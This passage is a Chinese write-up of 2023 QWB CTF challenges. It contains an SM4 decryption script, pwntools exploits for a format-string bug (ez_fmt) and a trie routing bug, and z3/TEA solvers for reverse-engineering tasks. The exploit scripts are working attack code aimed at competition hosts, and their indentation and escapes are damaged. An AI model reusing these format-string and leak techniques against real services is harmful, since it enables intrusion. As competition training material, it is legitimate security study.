return bb ^ (shift_logical_left(bb, 2)) ^ (shift_logical_left(bb, 10)) ^ (shift_logical_left(bb, 18)) ^ (
shift_logical_left(bb, 24)) # 书上公式

def sm4_round_function(x0, x1, x2, x3, rk): # 轮函数
return (x0 ^ linear_transform_L(x1 ^ x2 ^ x3 ^ rk))

class Sm4(object):
def __init__(self):
self.sk = [0] * 32
self.mode = ENCRYPT
def sm4_set_key(self, key_data, mode): # 先算出拓展密钥
self.extended_key_last(key_data, mode)
def extended_key_last(self, key, mode): # 密钥扩展算法
MK = [0, 0, 0, 0]
k = [0] * 36
MK[0] = list_4_8_to_int32(key[0:4])
MK[1] = list_4_8_to_int32(key[4:8])
MK[2] = list_4_8_to_int32(key[8:12])
MK[3] = list_4_8_to_int32(key[12:16])
k[0:4] = XOR(MK, FK)
for i in range(32):
k[i + 4] = k[i] ^ (extended_key_LB(k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ CK[i]))
self.sk = k[4:] # 生成的32轮子密钥放到sk中
self.mode = mode
if mode == DECRYPT: # 解密时rki逆序
self.sk.reverse()
def sm4_one_round(self, sk, in_put): # 一轮算法 ,4个32位的字=128bit=16个字节(8*16)
item = [list_4_8_to_int32(in_put[0:4]), list_4_8_to_int32(in_put[4:8]), list_4_8_to_int32(in_put[8:12]),
list_4_8_to_int32(in_put[12:16])] # 4字节一个字,把每4个字节变成32位的int
x = item
for i in range(32):
temp = x[3]
x[3] = sm4_round_function(x[0], x[1], x[2], x[3], sk[i]) # x[3]成为x[4]
x[0] = x[1]
x[1] = x[2]
x[2] = temp
print("%dround----->" % (i + 1), "key:%-12dn" % sk[i], "result: ", x)
res = x
# res = reduce (lambda x, y: [x[1], x[2], x[3], sm4_round_function (x[0], x[1], x[2], x[3], y)],sk, item) #32轮循环加密
res.reverse()
rev = map(n32_to_list4_8, res)
out_put = []
[out_put.extend(_) for _ in rev]
return out_put
def encrypt(self, input_data):
# 块加密
output_data = []
tmp = [input_data[i:i + 16] for i in range(0, len(input_data), 16)] # 输入数据分块
[output_data.extend(each) for each in map(lambda x: self.sm4_one_round(self.sk, x), tmp)]
return output_data
def encrypt(mode, key, data):
sm4_d = Sm4()
sm4_d.sm4_set_key(key, mode)
en_data = sm4_d.encrypt(data)
return en_data

def sm4_crypt_cbc(mode, key, iv, data):
sm4_d = Sm4()
sm4_d.sm4_set_key(key, mode)
en_data = sm4_d.sm4_crypt_cbc(iv, data)
return en_data

if __name__ == "__main__":
key_data = [0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01, 0x23,
0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF]
sm4_d = Sm4() # 创建一个Sm4对象
sm4_d.sm4_set_key(key_data, ENCRYPT) # 加密模式
# padding_data = padding(data) # 明文填充
# en_data = sm4_d.encrypt(padding_data) # 加密

en_data = [0x06, 0x75, 0x19, 0x47, 0x16, 0x63, 0x88, 0x7C, 0x8B, 0x66,
0x55, 0xFF, 0x3F, 0x7D, 0x0D, 0x4A, 0xF5, 0xD2, 0x4E, 0x38,
0x3F, 0xE9, 0xC2, 0xDE, 0xDB, 0x7C, 0x7F, 0x6F, 0x74, 0xB1,
0x1F, 0x3C]
print("ciphertext:t", en_data)

sm4_d.sm4_set_key(key_data, DECRYPT) # 解密模式
print("ndecode:")
de_data = sm4_d.encrypt(en_data) # 解密
# print(file_data)
print("plaintext: ", de_data)
print("after decode: ", end='')
[print(chr(i), end='') for i in de_data] #打印flag

得到flag{h3kk0_w0rld_sur3_3n0ugh}

强网先锋

speedUp

下载附件,得到如下

2023 强网杯 Writeup

分析代码,发现考点是求阶乘

找一个在线网站:

2023 强网杯 Writeup

取值:27 的 4495662081

进行 sha256加密即为flag

2023 强网杯 Writeup

flag为:bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797

ez_fmt

代码审计

2023 强网杯 Writeup

格式化字符串漏洞,只能利用一次

思路

可以利用泄露出来的栈地址,控制printf的返回地址,然后我们就可以实现多次利用格式化字符串漏洞,通过第一次格式化字符串泄露出来栈地址且把返回地址覆盖为start,然后我们第二次格式化字符串的时候就可以劫持main的返回地址,只需要写两次

from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc-so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""

def get_p(name):
global p,elf
# p = process(name)
p = remote("47.104.24.40",1337)
elf = ELF(name)

get_p("./ez_fmt")
p.recvuntil("0x")
stack = int(p.recv(12),16)
re_stack = stack - 8

payload = (b"%" + bytes(str(0x004010B0 & 0xffff),encoding="utf-8") + b"c%8$hn%9$s").ljust(0x10,b"A") + p64(re_stack) + p64(elf.got['printf'])
print(hex(stack))

p.send(payload)
libc.address = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - libc.sym['printf']
print(hex(libc.address))

one_gadget = libc.address + 0xe3b01

p.recvuntil("0x")
stack = int(p.recv(12),16)
re_stack = stack + 0x68

print(hex(stack))
print(hex(one_gadget))

payload = (b"%" + bytes(str((one_gadget >> 16)&0xff),encoding="utf-8") +b"c%9$hhn%" + bytes(str((one_gadget & 0xffff)-((one_gadget >> 16)&0xff)),encoding="utf-8") + b"c%10$hn").ljust(0x18,b"x00") + p64(re_stack+2) + p64(re_stack)
# gdb.attach(p,"")
# sleep(2)
p.send(payload)

p.interactive()

trie

代码审计

2023 强网杯 Writeup

大致是一个路由表的写入

漏洞在于添加路由时,trie树加入的值大小有误可以访问到secret变量

思路

通过了解trie的算法,我们可以计算出来添加子类的时的个数,可以一次性控制完路由,但是需要控制的参数太多,我们就通过多次开启程序分别读取内容,然后拼接即可

exp

from pwn import*
import binascii
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
# libc = ELF("./libc-so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""

def get_p(name):
global p,elf
# p = process(name)
p = remote("47.104.150.173",1337)
elf = ELF(name)

def insert(ip):
p.sendlineafter("4. Quit.",'1')
p.sendlineafter("Input destination IP:",str(ip>>24)+"."+str((ip>>16)&0xff)+"."+str((ip>>8)&0xff)+"."+str(0xff&ip))
p.sendlineafter("Input the next hop:",'0.0.0.1')


ip = [0xfffffffe,0x7fffffff,0x3fffffff,0x1fffffff,0x4fffffff,0xf7ffffff,0xf3ffffff,0xf1ffffff,0xf4ffffff,0xff7fffff]

# flag = "flag{H0w_t0_B3c0m3_a5_str0ng_@s_y0u_guys}"
flag = ""
def get_flag(ip):
global flag
get_p("./trie")

insert(0xffffffff)
insert(0xfffffffe)
insert(ip)



p.sendlineafter("4. Quit.",'3')

p.sendlineafter("4. Quit.",'2')




# gdb.attach(p,"b *$rebase(0x00013AB)")
# sleep(2)
p.sendlineafter("Input destination IP:",str(ip>>24)+"."+str((ip>>16)&0xff)+"."+str((ip>>8)&0xff)+"."+str(0xff&ip))

p.recvuntil("The next hop is ")
get = p.recvline()[:-1].split(b".")
get_val = []
for i in get:
get_val.append(chr(int(i.decode())))

for i in get_val[::-1]:
flag += i
p.close()


for i in ip:
get_flag(i)

print(flag)

2023 强网杯 Writeup

石头剪刀布

代码分析

def train_model(X_train, y_train):
model = MultinomialNB()
model.fit(X_train, y_train)
return model


def predict_opponent_choice(model, X_pred):
return model.predict(X_pred)


def predict(i,my_choice):


global sequence
model = None
if i < 5:
opponent_choice = [random.randint(0, 2)]
else:
model = train_model(X_train, y_train)
opponent_choice = predict_opponent_choice(model, [sequence])

可以看到前五次是随机生成的,后面的是通过固定的值去生成的,大概也是固定的,我们可以通过脚本去得到这个值,或者是记录一下它吐出来的值,我这里用记录它的值,然后带入脚本即可:

exp

from pwn import *

p = remote("8.147.133.95",17037)

# for i in range(5):
p.sendlineafter("请出拳(0 - 石头,1 - 剪刀,2 - 布):","0")
rot_get = []
num_get = [0, 2, 1, 0, 2, 1, 0, 0, 2, 2, 1, 1, 0, 1, 0, 1, 2, 2, 2, 0, 1, 0, 2, 0, 2, 1, 0, 1, 1, 0, 2, 1, 0, 2, 2, 1, 2, 2, 0, 0, 0, 1, 0, 1, 0, 1, 1, 2, 0, 1, 1, 2, 1, 2, 2, 0, 2, 2, 0, 0, 0, 1, 1, 1, 2, 2, 0, 1, 2, 2, 0, 2, 0, 2, 1, 0, 0, 0, 1, 1, 1, 2, 2, 0, 1, 0, 1, 1, 2]
for i in num_get[1:]:

p.recvline()
guess = p.recvline()
print(guess)

p.recvline()
num = int(p.recvline()[16:-1])
print("现在分数:" + str(num))
# if i == 2:
# p.sendlineafter("请出拳(0 - 石头,1 - 剪刀,2 - 布):","1")
# rot_get.append(2)
# elif i == 1:
# p.sendlineafter("请出拳(0 - 石头,1 - 剪刀,2 - 布):","0")
# rot_get.append(1)
# else :
# p.sendlineafter("请出拳(0 - 石头,1 - 剪刀,2 - 布):","2")
# rot_get.append(0)

p.sendlineafter("请出拳(0 - 石头,1 - 剪刀,2 - 布):",str(i))
# if b'xb3xefxbcx9axe5xb8x83' in guess :
# p.sendlineafter("请出拳(0 - 石头,1 - 剪刀,2 - 布):","1")
# rot_get.append(2)
# elif b'xe5x89xaaxe5x88x80' in guess :
# p.sendlineafter("请出拳(0 - 石头,1 - 剪刀,2 - 布):","0")
# rot_get.append(1)
# else:
# p.sendlineafter("请出拳(0 - 石头,1 - 剪刀,2 - 布):","2")
# rot_get.append(0)


# print(rot_get)
p.interactive()

babyre

一个魔改tea

2023 强网杯 Writeup

动调的时候有反调试,需要改一下BeingDebugged标志位

2023 强网杯 Writeup

解密脚本

from ctypes import * 

def decrypt(v, key):
v0, v1 = c_uint32(v[0]), c_uint32(v[1])
delta = 0x77BF7F99
total = c_uint32(0xd192c263)# 动调得到最后的total值
for x in range(4):# 魔改多了一层
for i in range(33):
total.value += delta
v1.value -= (key[(total.value >> 11) & 3] + total.value) ^ (v0.value + ((v0.value >> 4) ^ (v0.value << 5)))
v0.value -= total.value ^ (key[total.value&3] + total.value) ^ (v1.value + ((v1.value >> 4) ^ (v1.value << 5)))
return v0.value, v1.value


if __name__ == "__main__":
cipher = [0xE0, 0xF2, 0x23, 0x95, 0x93, 0xC2, 0xD8, 0x8E, 0x93, 0xC3,
0x68, 0x86, 0xBC, 0x50, 0xF2, 0xDD, 0x99, 0x44, 0x0E, 0x51,
0x44, 0xBD, 0x60, 0x8C, 0xF2, 0xAB, 0xDC, 0x34, 0x60, 0xD2,
0x0F, 0xC1]
cipher = [int.from_bytes(cipher[i*4:i*4+4], 'little') for i in range(len(cipher)//4)]
key = [0x62, 0x6f, 0x6d, 0x62]

print("Decrypted data is : ", end=' ')
print("flag{", end='')
for i in range(0, len(cipher), 2):
res = decrypt(cipher[i:i+2], key)
for b in res:
print(b.to_bytes(4, byteorder='little').decode(), end='')

print("}", end='')

# flag{W31com3_2_Th3_QwbS7_4nd_H4v3_Fun}

ezre

直接使用angrdeflat.py去除OLLVM混淆即可

首先要注意反调试

2023 强网杯 Writeup

看程序主要逻辑

__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
unsigned __int64 v4; // rax
int v5; // eax
int k; // [rsp+12Ch] [rbp-114h]
int j; // [rsp+130h] [rbp-110h]
int i; // [rsp+134h] [rbp-10Ch]
int v10; // [rsp+13Ch] [rbp-104h]
char v11[64]; // [rsp+140h] [rbp-100h] BYREF
char v12[64]; // [rsp+180h] [rbp-C0h] BYREF
char v13[64]; // [rsp+1C0h] [rbp-80h] BYREF
char input[52]; // [rsp+200h] [rbp-40h] BYREF
int v15; // [rsp+234h] [rbp-Ch]
size_t v16; // [rsp+238h] [rbp-8h]

v15 = 0;
printf("Welcome to the CTF world:");
memset(input, 0, 0x32uLL);
__isoc99_scanf("%s", input);
v16 = strlen(input);
v3 = strlen(input);
v10 = 0;
base64((__int64)input, (__int64)v11, v3); // 第一次变表base64 l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr
while ( v10 < 4 )// 循环四次
{
srand(aWk[2]);
v4 = strlen((const char *)(unsigned int)aWk);
change_table((__int64)aWk, v4);
if ( (v10 & 1) != 0 ) // base64和另一个算法交替进行,公用同一张编码表
{
v5 = strlen(v11);
base64((__int64)v11, (__int64)v12, v5);
}
else
{
sub_401250((__int64)v11, (__int64)v12); // 找到每个字符在表的索引值,然后前一位和后一位进行加密
}
memset(v11, 0, 0x32uLL);
memcpy(v11, v12, 0x32uLL);
++v10;
}
if ( dword_4062C0 == 1 ) // 未调试的情况下为0
{
sub_402EE0((__int64)aWk, (__int64)&aWk[64]);// 检测到调试才会走这里
for ( i = 0; i < 64; ++i )
aWk[i] = (5 * (aWk[i] + 3)) ^ 0x15;
}
else
{
for ( j = 0; j < 64; ++j )
aWk[j] ^= 0x27u;
}
sub_401EB0(v12, v13); // 再一次加密
for ( k = 0; k < strlen(v12); ++k )
{
if ( byte_406180[k] != v13[k] )
{
printf("wrong!");
return 0;
}
}
printf("right!");
return 0;
}


总结如下,每张表都是可以通过动调得到


1.base64l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr=
2.加密sub_401250FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8
3.base64Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA
4.加密sub_401250pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a
5.base64plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6
6.变换sub_401EB0

逆向

  1. 先爆破得到经过sub_401EB0函数加密的值

from z3 import*

s=Solver()
cipher = [BitVec("%d" % i,8) for i in range(48)]
cmp = [0x3A, 0x2C, 0x4B, 0x51, 0x68, 0x46, 0x59, 0x63, 0x24, 0x04, 0x5E, 0x5F, 0x00, 0x0C, 0x2B, 0x03, 0x29, 0x5C, 0x74, 0x70, 0x6A, 0x62, 0x7F, 0x3D, 0x2C, 0x4E, 0x6F, 0x13, 0x06, 0x0D, 0x06, 0x0C, 0x4D, 0x56, 0x0F, 0x28, 0x4D, 0x51, 0x76, 0x70, 0x2B, 0x05, 0x51, 0x68, 0x48, 0x55, 0x24, 0x19]
table = [0x53, 0x46, 0x4E, 0x72, 0x49, 0x42, 0x6D, 0x6E, 0x4F, 0x4C, 0x10, 0x56, 0x74, 0x7E, 0x62, 0x4D,
0x63, 0x16, 0x6C, 0x4A, 0x1E]

v7 = 2023
for i in range(47):
if i % 3 == 1:
v7 = (v7 + 5) % 20
v3 = table[v7 + 1]
elif i % 3 == 2:
v7 = (v7 + 7) % 19
v3 = table[v7 + 2]
else:
v7 = (v7 + 3) % 17
v3 = table[v7 + 3]
cipher[i] ^= v3
cipher[i+1] ^= cipher[i]

for i in range(48):
s.add(cmp[i] == cipher[i])

if s.check():
m = s.model()
cipher = [BitVec("%d" % i,8) for i in range(48)]
res = []
for i in range(48):
res.append(m[cipher[i]].as_long())
print("".join([chr(i) for i in res]))
# WZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp==
  1. 然后变表base64解密

import base64

key = 'WZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp=='
old_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
new_table = 'plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6'
flag_en = ''

for i in range(0, len(key)):
flag_en += old_table[new_table.find(key[i])]
res = list(base64.b64decode(flag_en))
print([i for i in res])

# [240, 84, 82, 243, 98, 70, 242, 185, 193, 19, 226, 20, 247, 97, 213, 242, 180, 185, 188, 105, 193, 61, 79, 94, 243, 148, 21, 199, 148, 52, 234, 165, 183, 40]
  1. 接着逆向sub_401250函数

from z3 import *

# cipher = 'WZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp=='
# cipher = [ord(i) for i in cipher]
cipher = [240, 84, 82, 243, 98, 70, 242, 185, 193, 19, 226, 20, 247, 97, 213, 242, 180, 185, 188, 105, 193, 61, 79, 94, 243, 148, 21, 199, 148, 52, 234, 165, 183, 40]
table2 = 'pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a'

for i in range(len(cipher)//3):
v6 = BitVec('v6', 8)
v7 = BitVec('v7', 8)
v8 = BitVec('v8', 8)
v9 = BitVec('v9', 8)

s = Solver()
s.add(((v7 >> 4) & 3 | (v6 << 2))&0xff == cipher[i*3])
s.add(((v8 >> 2) & 0xF | (v7 << 4))&0xff == cipher[i*3+1])
s.add((v9 & 0x3F | (v8 << 6))&0xff == cipher[i*3+2])

if s.check():
m = s.model()
print(table2[m[v6].as_long()], end='')
print(table2[m[v7].as_long()], end='')
print(table2[m[v8].as_long()], end='')
print(table2[m[v9].as_long()], end='')

# PlE3PFoAPcdnw6esXFvIPc3RWAdn1sXiPRjIORjuB8qZ
  1. 变表base64解密

import base64

key = 'PlE3PFoAPcdnw6esXFvIPc3RWAdn1sXiPRjIORjuB8qZ'
old_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
new_table = 'Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA'
flag_en = ''

for i in range(0, len(key)):
flag_en += old_table[new_table.find(key[i])]
res = list(base64.b64decode(flag_en))
print([i for i in res])
# [237, 121, 73, 239, 9, 63, 236, 30, 77, 19, 123, 29, 131, 6, 114, 236, 18, 106, 191, 254, 77, 233, 216, 56, 238, 164, 50, 142, 164, 5, 127, 26, 70]
  1. 逆向sub_401250函数

import base64
from z3 import *

# cipher = 'WZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp=='
# cipher = [ord(i) for i in cipher]
cipher = [237, 121, 73, 239, 9, 63, 236, 30, 77, 19, 123, 29, 131, 6, 114, 236, 18, 106, 191, 254, 77, 233, 216, 56, 238, 164, 50, 142, 164, 5, 127, 26, 70]
table2 = 'FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8'

for i in range(len(cipher)//3):
v6 = BitVec('v6', 8)
v7 = BitVec('v7', 8)
v8 = BitVec('v8', 8)
v9 = BitVec('v9', 8)

s = Solver()
s.add(((v7 >> 4) & 3 | (v6 << 2))&0xff == cipher[i*3])
s.add(((v8 >> 2) & 0xF | (v7 << 4))&0xff == cipher[i*3+1])
s.add((v9 & 0x3F | (v8 << 6))&0xff == cipher[i*3+2])

if s.check():
m = s.model()
print(table2[m[v6].as_long()], end='')
print(table2[m[v7].as_long()], end='')
print(table2[m[v8].as_long()], end='')
print(table2[m[v9].as_long()], end='')

# B6gtBdq8BGN1VX+yIdECBGt9a8N1TyIvB9hCo9hDA543
  1. 变表base64解密

import base64

key = 'B6gtBdq8BGN1VX+yIdECBGt9a8N1TyIvB9hCo9hDA543'
old_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
new_table = 'l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr='
flag_en = ''

for i in range(0, len(key)):
flag_en += old_table[new_table.find(key[i])]
res = list(base64.b64decode(flag_en))
print("".join([chr(i) for i in res]))

# flag{3ea590ccwxehg715264fzxnzepqz}

结:平平无奇, 还需努力!


原文始发于微信公众号(ACT Team):2023 强网杯 Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月18日22:44:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023 强网杯 Writeuphttp://cn-sec.com/archives/2313588.html

发表评论

匿名网友 填写信息